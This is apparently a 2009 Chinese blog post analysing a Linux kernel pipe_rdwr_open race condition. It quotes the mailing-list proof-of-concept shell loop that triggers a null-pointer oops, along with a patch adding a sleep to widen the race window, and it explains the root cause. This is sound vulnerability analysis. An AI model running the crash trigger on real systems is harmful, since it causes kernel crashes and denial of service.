查看文章 |
关于最近那个linux kernel pipe_rdwr_open漏洞
2009-11-10 09:29
漏洞公告是11.3号发出的, exp试了几个版本的都无效, 不过漏洞还是有的, 只是很难触发。公告上给出了一个poc: http://www.nsfocus.net/vulndb/14025 while : ; do { echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } & PID=$! OUT=$(ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; } ) OUT="${OUT%% *}" DELAY=$((RANDOM * 1000 / 32768)) usleep $((DELAY * 1000 + RANDOM % 1000 )) echo n > /proc/$OUT/fd/1 # Trigger defect done 这显然是从lkml上抄下来的。 这个漏洞在10.14号的内核邮件列表中就被人报了上来, 那个poc就是漏洞作者提供的, 但是人家还在下面说了: The window for failure is small. It's easiest to reproduce this problem by stalling pipe_rdwr_open() to open up the window: --- pipe.c.orig 2009-10-15 20:33:53.000000000 -0700 +++ pipe.c 2009-10-15 20:17:40.000000000 -0700 @@ -736,2 +736,3 @@ { + msleep(100); mutex_lock(&inode->i_mutex); the failure with: ------------------------------ #!/bin/sh while : ; do { echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } & PID=$! OUT=$(ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; } )
OUT="${OUT%% *}" DELAY=$((RANDOM * 1000 / 32768)) usleep $((DELAY * 1000 + RANDOM % 1000 )) echo n > /proc/$OUT/fd/1
done要在pipe_rdwr_open函数中插入一段休眠代码, 在用那个poc才能很容易的触发空指针漏洞。 另外关于公告给出了一个lkml上的链接: http://lkml.org/lkml/2009/10/14/184 这使很多人认为漏洞的产生原因是作者说的那个假设的条件发生时, 但作者在随后的邮件中又说了这个代码是没问题。 真正产生漏洞的原因是在sys_open到pipe_rdwr_open执行这段时间内, 代码还没获得fifo文件的inode结构, 进而还没获得锁的这么一个非常非常小的时间内, 有其他进程关闭了这个fifo文件, 释放了pipe_inode_info结构, 导致pipe_rdwr_open继续执行的时候到了 if (filp->f_mode & FMODE_READ) inode->i_pipe->readers++; 引发了oops。 另外exp作者给出的poc在某些内核版本中确实可以被触发oops, 但是个人觉得管道这块还是会存在很多问题的, 继续关注邮件列表 。 |
最近读者:
牛人!